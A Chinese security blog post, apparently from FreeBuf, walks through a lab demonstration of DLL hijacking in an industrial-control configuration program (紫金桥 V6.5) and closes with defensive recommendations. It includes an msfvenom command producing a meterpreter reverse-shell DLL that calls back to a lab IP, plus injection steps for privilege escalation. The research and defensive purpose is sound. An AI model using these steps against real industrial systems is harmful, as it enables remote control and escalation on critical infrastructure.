freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

工控软件dll劫持漏洞分析
2020-07-02 09:00:38

一、概述

工业控制软件规模不断扩大、复杂性不断提高,工业控制系统自身的漏洞和攻击面日益增大,本文针对一款工控软件的dll劫持漏洞进行权限提升的研究。

二、环境准备

a)工控组态软件:紫金桥监控组态软件 V6.5(官网下载中心有测试版可免费下载)

b)靶机:winxp sp3 vm

攻击机:kali linux vm

c)将紫金桥监控组态软件V6.5下载后并在靶机中安装

三、寻找可劫持进程ProgMan.exe的dll

a)开启进程ProgMan.exe,用procexp.exe查看进程加载的dll

b)与注册表项进行对比

c)可见ws2help.dll满足dll劫持的要求,使用DLL_Hijacker.py生成源码CPP文件

d)将ws2help.cpp编译生成ws2help.dll,然后放到ProgMan.exe的目录下

e)打开程序ProgMan.exe,DLL_Hijacker.py的弹窗信息代码可根据自己的需求进行适当修改,本文对DLL_Hijacker.py弹窗信息代码进行了修改,采用的弹窗信息为“Notice, you've been hacked!”

四、利用msf基于dll劫持实现权限提升

a)开启kali,利用msfvenom指令创建反弹shell的dll文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.180.146 LPORT=1234 -f dll >/root/ws2help.dll

将生成的ws2help.dll拷贝至靶机:winxp sp3 vm

b)利用Msf中的handler模块开启监听

c)在靶机中开启进程ProgMan.exe,利用DllInject.exe,将ws2help.dll注入到进程,发现已提升权限

五、总结及防护建议

本文针对工控软件尝试dll劫持漏洞的挖掘过程以及权限提升,演示了小漏洞如果利用得当也可以产生比较大的危害效果。本文整理了dll劫持的防御几点方法如下:

1.系统程序自检

用户或系统管理员对系统内运行的所有进程排查,查看是否存dll劫持漏洞。如若发现可疑软件,立即去软件产商的官网中找查相关的补丁或升级版本。

2.部署防护设备

针对远程DLL劫持漏洞的利用一定会有远程加载DLL的过程,防护设备,如IPS在对网络流量的检测时,可以发现并阻断此类可疑的加载,甚至根据用户配置可以对所有DLL文件的直接传输进行告警或阻断。

3.程序加固

防御DLL劫持的方法最好还是程序自己本身的加固,比如,在程序运行后,遍历当前路径下的dll,确认MD5和数字签名安全后,再进行后续的加载。

六、 参考链接

本文借鉴了一些大牛的分享,相关参考链接如下:

https://www.freebuf.com/articles/78807.html

https://www.cnblogs.com/Yang34/p/12539346.html

https://blog.csdn.net/m0_37552052/article/details/90287476

http://www.h3c.com/CN/D_201110/727410_30008_0.htm

# 工控 # 权限提升 # 劫持漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者